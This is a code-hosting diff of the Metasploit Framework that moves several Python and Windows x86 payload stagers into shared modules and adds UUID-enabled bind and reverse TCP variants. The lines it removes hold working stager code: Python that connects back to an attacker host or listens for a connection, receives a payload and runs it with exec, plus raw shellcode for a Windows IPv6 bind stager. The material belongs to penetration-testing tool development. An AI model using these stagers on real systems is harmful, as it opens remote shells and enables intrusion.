'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -5,14 +5,18 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 374
|
||||
CachedSize = 386
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::BindTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -27,31 +31,4 @@ module Metasploit3
|
|||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
# Set up the socket
|
||||
cmd = "import socket,struct\n"
|
||||
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd << "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||
cmd << "s.listen(1)\n"
|
||||
cmd << "c,a=s.accept()\n"
|
||||
cmd << "l=struct.unpack('>I',c.recv(4))[0]\n"
|
||||
cmd << "d=c.recv(l)\n"
|
||||
cmd << "while len(d)<l:\n"
|
||||
cmd << "\td+=c.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':c})\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/python'
|
||||
require 'msf/core/payload/python/bind_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 486
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
'bind_tcp_uuid'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Bind TCP Stager with UUID Support',
|
||||
'Description' => 'Listen for a connection with UUID Support',
|
||||
'Author' => 'OJ Reeves',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
# Tell the reverse_tcp payload to include the UUID
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -5,14 +5,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/uuid_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = 742
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::UUIDOptions
|
||||
include Msf::Payload::UUID::Options
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
|
|
@ -5,14 +5,16 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/python/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 342
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python::ReverseTcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
|
@ -27,29 +29,4 @@ module Metasploit3
|
|||
))
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
# Set up the socket
|
||||
cmd = "import socket,struct\n"
|
||||
cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
|
||||
cmd << "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
|
||||
cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
|
||||
cmd << "d=s.recv(l)\n"
|
||||
cmd << "while len(d)<l:\n"
|
||||
cmd << "\td+=s.recv(l-len(d))\n"
|
||||
cmd << "exec(d,{'s':s})\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
conn.put([payload.length].pack("N"))
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,42 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/python/reverse_tcp'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 442
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::Python::ReverseTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
'reverse_tcp_uuid'
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Reverse TCP Stager with UUID Support',
|
||||
'Description' => 'Connect back to the attacker with UUID Support',
|
||||
'Author' => 'OJ Reeves',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
end
|
||||
|
||||
# Tell the reverse_tcp payload to include the UUID
|
||||
def include_send_uuid
|
||||
true
|
||||
end
|
||||
|
||||
end
|
|
@ -6,14 +6,14 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/bind_tcp'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 285
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::BindTcp
|
||||
|
||||
def self.handler_type_alias
|
||||
"bind_ipv6_tcp"
|
||||
|
@ -21,43 +21,20 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Bind TCP Stager (IPv6)',
|
||||
'Description' => 'Listen for a connection over IPv6',
|
||||
'Author' => ['hdm', 'skape'],
|
||||
'Name' => 'Bind IPv6 TCP Stager (Windows x86)',
|
||||
'Description' => 'Listen for an IPv6 connection (Windows x86)',
|
||||
'Author' => ['hdm', 'skape', 'sf'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'sockedi',
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LPORT' => [ 192, 'n' ],
|
||||
},
|
||||
# Technically this is the same as bind_tcp, but has been duplicated for
|
||||
# backwards compatibility with tools that expect this payload name.
|
||||
'Payload' =>
|
||||
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
|
||||
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
|
||||
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
|
||||
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
|
||||
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
|
||||
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
|
||||
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
|
||||
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
|
||||
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
|
||||
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
|
||||
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
|
||||
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
|
||||
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
|
||||
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
|
||||
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
|
||||
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
|
||||
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
|
||||
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
|
||||
}
|
||||
'Stager' => { 'RequiresMidstager' => false }
|
||||
))
|
||||
end
|
||||
|
||||
def use_ipv6
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue